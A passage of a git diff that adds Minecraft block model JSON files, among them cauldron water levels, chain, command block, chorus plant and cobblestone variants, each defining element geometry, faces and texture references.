"texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 12, 0, 0 ], + "to": [ 16, 3, 2 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 14, 0, 2 ], + "to": [ 16, 3, 4 ], + "faces": { + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 0, 0, 14 ], + "to": [ 4, 3, 16 ], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 0, 0, 12 ], + "to": [ 2, 3, 14 ], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 12, 0, 14 ], + "to": [ 16, 3, 16 ], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 14, 0, 12 ], + "to": [ 16, 3, 14 ], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side", "cullface": "east" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 2, 4, 2 ], + "to": [ 14, 9, 14 ], + "faces": { + "up": { "texture": "#water", "tintindex": 0, "cullface": "up" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/cauldron_level2.json b/src/assets/minecraft/models/block/cauldron_level2.json new file mode 100644 index 00000000..40cb48bd --- /dev/null +++ b/src/assets/minecraft/models/block/cauldron_level2.json @@ -0,0 +1,156 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/cauldron_side", + "top": "block/cauldron_top", + "bottom": "block/cauldron_bottom", + "side": "block/cauldron_side", + "inside": "block/cauldron_inner", + "water": "block/water_still" + }, + "elements": [ + { + "from": [ 0, 3, 0 ], + "to": [ 2, 16, 16 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side", "cullface": "up" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "west" }, + "up": { "texture": "#top", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 2, 3, 2 ], + "to": [ 14, 4, 14 ], + "faces": { + "up": { "texture": "#inside", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 14, 3, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "up" }, + "up": { "texture": "#top", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 2, 3, 0 ], + "to": [ 14, 16, 2 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "south": { "texture": "#side", "cullface": "up" }, + "up": { "texture": "#top", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 2, 3, 14 ], + "to": [ 14, 16, 16 ], + "faces": { + "north": { "texture": "#side", "cullface": "up" }, + "south": { "texture": "#side", "cullface": "south" }, + "up": { "texture": "#top", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 0, 0, 0 ], + "to": [ 4, 3, 2 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 0, 0, 2 ], + "to": [ 2, 3, 4 ], + "faces": { + "east": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 12, 0, 0 ], + "to": [ 16, 3, 2 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 14, 0, 2 ], + "to": [ 16, 3, 4 ], + "faces": { + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 0, 0, 14 ], + "to": [ 4, 3, 16 ], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 0, 0, 12 ], + "to": [ 2, 3, 14 ], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 12, 0, 14 ], + "to": [ 16, 3, 16 ], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 14, 0, 12 ], + "to": [ 16, 3, 14 ], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side", "cullface": "east" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 2, 4, 2 ], + "to": [ 14, 12, 14 ], + "faces": { + "up": { "texture": "#water", "tintindex": 0, "cullface": "up" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/cauldron_level3.json b/src/assets/minecraft/models/block/cauldron_level3.json new file mode 100644 index 00000000..ff587ee0 --- /dev/null +++ b/src/assets/minecraft/models/block/cauldron_level3.json @@ -0,0 +1,156 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/cauldron_side", + "top": "block/cauldron_top", + "bottom": "block/cauldron_bottom", + "side": "block/cauldron_side", + "inside": "block/cauldron_inner", + "water": "block/water_still" + }, + "elements": [ + { + "from": [ 0, 3, 0 ], + "to": [ 2, 16, 16 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side", "cullface": "up" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "west" }, + "up": { "texture": "#top", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 2, 3, 2 ], + "to": [ 14, 4, 14 ], + "faces": { + "up": { "texture": "#inside", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 14, 3, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "up" }, + "up": { "texture": "#top", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 2, 3, 0 ], + "to": [ 14, 16, 2 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "south": { "texture": "#side", "cullface": "up" }, + "up": { "texture": "#top", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 2, 3, 14 ], + "to": [ 14, 16, 16 ], + "faces": { + "north": { "texture": "#side", "cullface": "up" }, + "south": { "texture": "#side", "cullface": "south" }, + "up": { "texture": "#top", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 0, 0, 0 ], + "to": [ 4, 3, 2 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 0, 0, 2 ], + "to": [ 2, 3, 4 ], + "faces": { + "east": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 12, 0, 0 ], + "to": [ 16, 3, 2 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 14, 0, 2 ], + "to": [ 16, 3, 4 ], + "faces": { + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 0, 0, 14 ], + "to": [ 4, 3, 16 ], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 0, 0, 12 ], + "to": [ 2, 3, 14 ], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 12, 0, 14 ], + "to": [ 16, 3, 16 ], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 14, 0, 12 ], + "to": [ 16, 3, 14 ], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side", "cullface": "east" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 2, 4, 2 ], + "to": [ 14, 15, 14 ], + "faces": { + "up": { "texture": "#water", "tintindex": 0, "cullface": "up" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/chain.json b/src/assets/minecraft/models/block/chain.json new file mode 100644 index 00000000..8fd8ee80 --- /dev/null +++ b/src/assets/minecraft/models/block/chain.json @@ -0,0 +1,29 @@ +{ + "parent": "block/block", + "textures": { + "particle": "block/chain", + "all": "block/chain" + }, + "elements": [ + { + "from": [ 6.5, 0, 8 ], + "to": [ 9.5, 16, 8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45}, + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 3, 16 ], "texture": "#all" }, + "south": { "uv": [ 0, 0, 3, 16 ], "texture": "#all" } + } + }, + { + "from": [ 8, 0, 6.5 ], + "to": [ 8, 16, 9.5 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45}, + "shade": false, + "faces": { + "west": { "uv": [ 3, 0, 6, 16 ], "texture": "#all" }, + "east": { "uv": [ 3, 0, 6, 16 ], "texture": "#all" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/chain_command_block.json b/src/assets/minecraft/models/block/chain_command_block.json new file mode 100644 index 00000000..cf884ea6 --- /dev/null +++ b/src/assets/minecraft/models/block/chain_command_block.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/template_command_block", + "textures": { + "front": "minecraft:block/chain_command_block_front", + "back": "minecraft:block/chain_command_block_back", + "side": "minecraft:block/chain_command_block_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/chain_command_block_conditional.json b/src/assets/minecraft/models/block/chain_command_block_conditional.json new file mode 100644 index 00000000..79b58b3c --- /dev/null +++ b/src/assets/minecraft/models/block/chain_command_block_conditional.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/template_command_block", + "textures": { + "front": "minecraft:block/chain_command_block_front", + "back": "minecraft:block/chain_command_block_back", + "side": "minecraft:block/chain_command_block_conditional" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/chest.json b/src/assets/minecraft/models/block/chest.json new file mode 100644 index 00000000..9406a849 --- /dev/null +++ b/src/assets/minecraft/models/block/chest.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/chipped_anvil.json b/src/assets/minecraft/models/block/chipped_anvil.json new file mode 100644 index 00000000..57719879 --- /dev/null +++ b/src/assets/minecraft/models/block/chipped_anvil.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_anvil", + "textures": { + "top": "minecraft:block/chipped_anvil_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/chiseled_nether_bricks.json b/src/assets/minecraft/models/block/chiseled_nether_bricks.json new file mode 100644 index 00000000..c66e73c6 --- /dev/null +++ b/src/assets/minecraft/models/block/chiseled_nether_bricks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/chiseled_nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/chiseled_polished_blackstone.json b/src/assets/minecraft/models/block/chiseled_polished_blackstone.json new file mode 100644 index 00000000..4b0db517 --- /dev/null +++ b/src/assets/minecraft/models/block/chiseled_polished_blackstone.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/chiseled_polished_blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/chiseled_quartz_block.json b/src/assets/minecraft/models/block/chiseled_quartz_block.json new file mode 100644 index 00000000..562af81e --- /dev/null +++ b/src/assets/minecraft/models/block/chiseled_quartz_block.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/chiseled_quartz_block_top", + "side": "minecraft:block/chiseled_quartz_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/chiseled_red_sandstone.json b/src/assets/minecraft/models/block/chiseled_red_sandstone.json new file mode 100644 index 00000000..d33075b1 --- /dev/null +++ b/src/assets/minecraft/models/block/chiseled_red_sandstone.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/red_sandstone_top", + "side": "minecraft:block/chiseled_red_sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/chiseled_sandstone.json b/src/assets/minecraft/models/block/chiseled_sandstone.json new file mode 100644 index 00000000..3ce22859 --- /dev/null +++ b/src/assets/minecraft/models/block/chiseled_sandstone.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/sandstone_top", + "side": "minecraft:block/chiseled_sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/chiseled_stone_bricks.json b/src/assets/minecraft/models/block/chiseled_stone_bricks.json new file mode 100644 index 00000000..6bbb7c88 --- /dev/null +++ b/src/assets/minecraft/models/block/chiseled_stone_bricks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/chiseled_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/chorus_flower.json b/src/assets/minecraft/models/block/chorus_flower.json new file mode 100644 index 00000000..bec10d07 --- /dev/null +++ b/src/assets/minecraft/models/block/chorus_flower.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_chorus_flower", + "textures": { + "texture": "minecraft:block/chorus_flower" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/chorus_flower_dead.json b/src/assets/minecraft/models/block/chorus_flower_dead.json new file mode 100644 index 00000000..10519e8a --- /dev/null +++ b/src/assets/minecraft/models/block/chorus_flower_dead.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_chorus_flower", + "textures": { + "texture": "minecraft:block/chorus_flower_dead" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/chorus_plant.json b/src/assets/minecraft/models/block/chorus_plant.json new file mode 100644 index 00000000..582b7030 --- /dev/null +++ b/src/assets/minecraft/models/block/chorus_plant.json @@ -0,0 +1,81 @@ +{ "parent": "block/block", + "ambientocclusion": false, + "textures": { + "texture": "block/chorus_plant", + "inside": "block/chorus_plant", + "particle": "block/chorus_plant" + }, + "elements": [ + { "from": [ 2, 14, 2 ], + "to": [ 14, 16, 14 ], + "faces": { + "up": { "uv": [ 2, 2, 14, 14 ], "texture": "#texture", "cullface":"up" }, + "north": { "uv": [ 2, 0, 14, 2 ], "texture": "#texture", "cullface":"up" }, + "south": { "uv": [ 2, 0, 14, 2 ], "texture": "#texture", "cullface":"up" }, + "west": { "uv": [ 2, 0, 14, 2 ], "texture": "#texture", "cullface":"up" }, + "east": { "uv": [ 2, 0, 14, 2 ], "texture": "#texture", "cullface":"up" } + } + }, + { "from": [ 0, 2, 2 ], + "to": [ 2, 14, 14 ], + "faces": { + "down": { "uv": [ 16, 14, 14, 2 ], "texture": "#texture", "cullface":"west" }, + "up": { "uv": [ 0, 2, 2, 14 ], "texture": "#texture", "cullface":"west" }, + "north": { "uv": [ 14, 2, 16, 14 ], "texture": "#texture", "cullface":"west" }, + "south": { "uv": [ 0, 2, 2, 14 ], "texture": "#texture", "cullface":"west" }, + "west": { "uv": [ 2, 2, 14, 14 ], "texture": "#texture", "cullface":"west" } + } + }, + { "from": [ 2, 2, 0 ], + "to": [ 14, 14, 2 ], + "faces": { + "down": { "uv": [ 14, 2, 2, 0 ], "texture": "#texture", "cullface":"north" }, + "up": { "uv": [ 2, 0, 14, 2 ], "texture": "#texture", "cullface":"north" }, + "north": { "uv": [ 2, 2, 14, 14 ], "texture": "#texture", "cullface":"north" }, + "west": { "uv": [ 0, 2, 2, 14 ], "texture": "#texture", "cullface":"north" }, + "east": { "uv": [ 14, 2, 16, 14 ], "texture": "#texture", "cullface":"north" } + } + }, + { "from": [ 2, 2, 14 ], + "to": [ 14, 14, 16 ], + "faces": { + "down": { "uv": [ 14, 16, 2, 14 ], "texture": "#texture", "cullface":"south" }, + "up": { "uv": [ 2, 14, 14, 16 ], "texture": "#texture", "cullface":"south" }, + "south": { "uv": [ 2, 2, 14, 14 ], "texture": "#texture", "cullface":"south" }, + "west": { "uv": [ 14, 2, 16, 14 ], "texture": "#texture", "cullface":"south" }, + "east": { "uv": [ 0, 2, 2, 14 ], "texture": "#texture", "cullface":"south" } + } + }, + { "from": [ 14, 2, 2 ], + "to": [ 16, 14, 14 ], + "faces": { + "down": { "uv": [ 2, 14, 0, 2 ], "texture": "#texture", "cullface":"east" }, + "up": { "uv": [ 14, 2, 16, 14 ], "texture": "#texture", "cullface":"east" }, + "north": { "uv": [ 0, 2, 2, 14 ], "texture": "#texture", "cullface":"east" }, + "south": { "uv": [ 14, 2, 16, 14 ], "texture": "#texture", "cullface":"east" }, + "east": { "uv": [ 2, 2, 14, 14 ], "texture": "#texture", "cullface":"east" } + } + }, + { "from": [ 2, 0, 2 ], + "to": [ 14, 2, 14 ], + "faces": { + "down": { "uv": [ 14, 14, 2, 2 ], "texture": "#texture", "cullface":"down" }, + "north": { "uv": [ 2, 14, 14, 16 ], "texture": "#texture", "cullface":"down" }, + "south": { "uv": [ 2, 14, 14, 16 ], "texture": "#texture", "cullface":"down" }, + "west": { "uv": [ 2, 14, 14, 16 ], "texture": "#texture", "cullface":"down" }, + "east": { "uv": [ 2, 14, 14, 16 ], "texture": "#texture", "cullface":"down" } + } + }, + { "from": [ 2, 2, 2 ], + "to": [ 14, 14, 14 ], + "faces": { + "down": { "uv": [ 14, 14, 2, 2 ], "texture": "#inside" }, + "up": { "uv": [ 2, 2, 14, 14 ], "texture": "#inside" }, + "north": { "uv": [ 2, 2, 14, 14 ], "texture": "#inside" }, + "south": { "uv": [ 2, 2, 14, 14 ], "texture": "#inside" }, + "west": { "uv": [ 2, 2, 14, 14 ], "texture": "#inside" }, + "east": { "uv": [ 2, 2, 14, 14 ], "texture": "#inside" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/chorus_plant_noside.json b/src/assets/minecraft/models/block/chorus_plant_noside.json new file mode 100644 index 00000000..e7e60ce6 --- /dev/null +++ b/src/assets/minecraft/models/block/chorus_plant_noside.json @@ -0,0 +1,16 @@ +{ + "ambientocclusion": false, + "textures": { + "texture": "block/chorus_plant", + "inside": "block/chorus_plant", + "particle": "block/chorus_plant" + }, + "elements": [ + { "from": [ 4, 4, 4 ], + "to": [ 12, 12, 12 ], + "faces": { + "north": { "texture": "#inside" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/chorus_plant_noside1.json b/src/assets/minecraft/models/block/chorus_plant_noside1.json new file mode 100644 index 00000000..f3fed503 --- /dev/null +++ b/src/assets/minecraft/models/block/chorus_plant_noside1.json @@ -0,0 +1,26 @@ +{ + "ambientocclusion": false, + "textures": { + "texture": "block/chorus_plant", + "inside": "block/chorus_plant", + "particle": "block/chorus_plant" + }, + "elements": [ + { "from": [ 4, 4, 4 ], + "to": [ 12, 12, 12 ], + "faces": { + "north": { "texture": "#inside" } + } + }, + { "from": [ 4, 4, 3 ], + "to": [ 12, 12, 4 ], + "faces": { + "down": { "texture": "#texture" }, + "up": { "texture": "#texture" }, + "north": { "texture": "#texture" }, + "west": { "texture": "#texture" }, + "east": { "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/chorus_plant_noside2.json b/src/assets/minecraft/models/block/chorus_plant_noside2.json new file mode 100644 index 00000000..e2627b9a --- /dev/null +++ b/src/assets/minecraft/models/block/chorus_plant_noside2.json @@ -0,0 +1,26 @@ +{ + "ambientocclusion": false, + "textures": { + "texture": "block/chorus_plant", + "inside": "block/chorus_plant", + "particle": "block/chorus_plant" + }, + "elements": [ + { "from": [ 4, 4, 4 ], + "to": [ 12, 12, 12 ], + "faces": { + "north": { "texture": "#inside" } + } + }, + { "from": [ 5, 5, 2 ], + "to": [ 11, 11, 4 ], + "faces": { + "down": { "texture": "#texture" }, + "up": { "texture": "#texture" }, + "north": { "texture": "#texture" }, + "west": { "texture": "#texture" }, + "east": { "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/chorus_plant_noside3.json b/src/assets/minecraft/models/block/chorus_plant_noside3.json new file mode 100644 index 00000000..f3fed503 --- /dev/null +++ b/src/assets/minecraft/models/block/chorus_plant_noside3.json @@ -0,0 +1,26 @@ +{ + "ambientocclusion": false, + "textures": { + "texture": "block/chorus_plant", + "inside": "block/chorus_plant", + "particle": "block/chorus_plant" + }, + "elements": [ + { "from": [ 4, 4, 4 ], + "to": [ 12, 12, 12 ], + "faces": { + "north": { "texture": "#inside" } + } + }, + { "from": [ 4, 4, 3 ], + "to": [ 12, 12, 4 ], + "faces": { + "down": { "texture": "#texture" }, + "up": { "texture": "#texture" }, + "north": { "texture": "#texture" }, + "west": { "texture": "#texture" }, + "east": { "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/chorus_plant_side.json b/src/assets/minecraft/models/block/chorus_plant_side.json new file mode 100644 index 00000000..e8117d24 --- /dev/null +++ b/src/assets/minecraft/models/block/chorus_plant_side.json @@ -0,0 +1,20 @@ +{ + "ambientocclusion": false, + "textures": { + "texture": "block/chorus_plant", + "inside": "block/chorus_plant", + "particle": "block/chorus_plant" + }, + "elements": [ + { "from": [ 4, 4, 0 ], + "to": [ 12, 12, 4 ], + "faces": { + "down": { "texture": "#texture" }, + "up": { "texture": "#texture" }, + "north": { "texture": "#texture", "cullface":"north" }, + "west": { "texture": "#texture" }, + "east": { "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/clay.json b/src/assets/minecraft/models/block/clay.json new file mode 100644 index 00000000..3e478cd7 --- /dev/null +++ b/src/assets/minecraft/models/block/clay.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/clay" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/coal_block.json b/src/assets/minecraft/models/block/coal_block.json new file mode 100644 index 00000000..9b1077f1 --- /dev/null +++ b/src/assets/minecraft/models/block/coal_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/coal_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/coal_ore.json b/src/assets/minecraft/models/block/coal_ore.json new file mode 100644 index 00000000..ef7b1541 --- /dev/null +++ b/src/assets/minecraft/models/block/coal_ore.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/coal_ore" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/coarse_dirt.json b/src/assets/minecraft/models/block/coarse_dirt.json new file mode 100644 index 00000000..2ecdb0d0 --- /dev/null +++ b/src/assets/minecraft/models/block/coarse_dirt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/coarse_dirt" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cobblestone.json b/src/assets/minecraft/models/block/cobblestone.json new file mode 100644 index 00000000..ab65fe90 --- /dev/null +++ b/src/assets/minecraft/models/block/cobblestone.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cobblestone_slab.json b/src/assets/minecraft/models/block/cobblestone_slab.json new file mode 100644 index 00000000..c11c45f5 --- /dev/null +++ b/src/assets/minecraft/models/block/cobblestone_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/cobblestone", + "top": "minecraft:block/cobblestone", + "side": "minecraft:block/cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cobblestone_slab_top.json b/src/assets/minecraft/models/block/cobblestone_slab_top.json new file mode 100644 index 00000000..4ca5fc83 --- /dev/null +++ b/src/assets/minecraft/models/block/cobblestone_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/cobblestone", + "top": "minecraft:block/cobblestone", + "side": "minecraft:block/cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cobblestone_stairs.json b/src/assets/minecraft/models/block/cobblestone_stairs.json new file mode 100644 index 00000000..92ae6dd2 --- /dev/null +++ b/src/assets/minecraft/models/block/cobblestone_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/cobblestone", + "top": "minecraft:block/cobblestone", + "side": "minecraft:block/cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cobblestone_stairs_inner.json b/src/assets/minecraft/models/block/cobblestone_stairs_inner.json new file mode 100644 index 00000000..9de2601c --- /dev/null +++ b/src/assets/minecraft/models/block/cobblestone_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/cobblestone", + "top": "minecraft:block/cobblestone", + "side": "minecraft:block/cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cobblestone_stairs_outer.json b/src/assets/minecraft/models/block/cobblestone_stairs_outer.json new file mode 100644 index 00000000..14554684 --- /dev/null +++ b/src/assets/minecraft/models/block/cobblestone_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/cobblestone", + "top": "minecraft:block/cobblestone", + "side": "minecraft:block/cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cobblestone_wall_inventory.json b/src/assets/minecraft/models/block/cobblestone_wall_inventory.json new file mode 100644 index 00000000..3145d2de --- /dev/null +++ b/src/assets/minecraft/models/block/cobblestone_wall_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/wall_inventory", + "textures": { + "wall": "minecraft:block/cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cobblestone_wall_post.json b/src/assets/minecraft/models/block/cobblestone_wall_post.json new file mode 100644 index 00000000..7f47c03f --- /dev/null +++ b/src/assets/minecraft/models/block/cobblestone_wall_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_post", + "textures": { + "wall": "minecraft:block/cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cobblestone_wall_side.json b/src/assets/minecraft/models/block/cobblestone_wall_side.json new file mode 100644 index 00000000..f0eabd2b --- /dev/null +++ b/src/assets/minecraft/models/block/cobblestone_wall_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side", + "textures": { + "wall": "minecraft:block/cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cobblestone_wall_side_tall.json b/src/assets/minecraft/models/block/cobblestone_wall_side_tall.json new file mode 100644 index 00000000..d6f66256 --- /dev/null +++ b/src/assets/minecraft/models/block/cobblestone_wall_side_tall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side_tall", + "textures": { + "wall": "minecraft:block/cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cobweb.json b/src/assets/minecraft/models/block/cobweb.json new file mode 100644 index 00000000..0520c950 --- /dev/null +++ b/src/assets/minecraft/models/block/cobweb.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/cobweb" + } +} \ No newline at end of file diff --git 